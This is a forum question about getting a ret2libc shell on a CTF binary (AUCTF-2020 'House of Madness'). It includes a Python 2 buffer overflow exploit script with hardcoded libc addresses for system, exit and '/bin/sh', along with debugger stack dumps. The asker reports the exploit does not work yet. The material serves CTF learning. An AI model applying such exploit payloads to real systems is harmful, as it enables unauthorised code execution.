exploiting a binary using ret2libc

Question

I ran into this binary at a CTF : https://github.com/auehc/AUCTF-2020/tree/master/Pwn/House%20of%20Madness

I first tried to exploit it and get a shell using ret2libc technique, however I didn't succeed. I know it is not the intended way to solve the challenge, but after the CTF, I am now focusing on achieving ret2libc on this binary. And I am now stuck and need help :)

The source is in challenge.c, and the compiled version is challenge.

ASLR is disabled for the challenge, and on my computer too :

$ > cat /proc/sys/kernel/randomize_va_space
0

It is possible to trigger a buffer overflow using this input :

"2\n4\n3\nStephen\n"

plus some padding.

I wrote an exploit to try to pop a shell (without success) :

#!/usr/bin/env python2

import struct

valid_input = "2\n4\n3\nStephen\n"
pad = "aaaaaaaa2Aa3Aa4Aa5Aa6Aa7aaaa"
binsh = struct.pack("I", 0xf7f4caaa)
system = struct.pack("I", 0xf7e0c9e0)
exit = struct.pack("<I", 0xf7dffa60)

exploit = valid_input \
        + pad \
        + system \
        + exit \
        + binsh
print exploit

Now, I will tell you why I don't understand why it's not working.

When i break on the ret in the function where I triggered the buffer overflow, the stack looks like this:

[0x56556684]> pxw 16 @esp
0xffffd23c  0xf7e0c9e0 0xf7dffa60 0xf7f4caaa 0xffffd200  ....`...........

so, you can see that first there is 0xf7e0c9e0, then 0xf7dffa60, then 0xf7f4caaa.

0xf7e0c9e0 is the address of system in the libc :

[0x56556684]> dmi libc system
257   0x0012a2c0 0xf7ef82c0 GLOBAL FUNC   102       svcerr_systemerr
658   0x0003e9e0 0xf7e0c9e0 GLOBAL FUNC   55        __libc_system
1525  0x0003e9e0 0xf7e0c9e0 WEAK   FUNC   55        system

0xf7dffa60 is the address of exit, altough it shouldn't be needed, if I popped the shell.

0xf7f4caaa is the address of the string /bin/sh\x00 in the libc :

[0x56556684]> px10@0xf7f4caaa
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xf7f4caaa  2f62 696e 2f73 6800 6578                 /bin/sh.ex

I am stuck there, and can't figure out what is happening.. If anyone can point me in the right direction, I would be very happy :)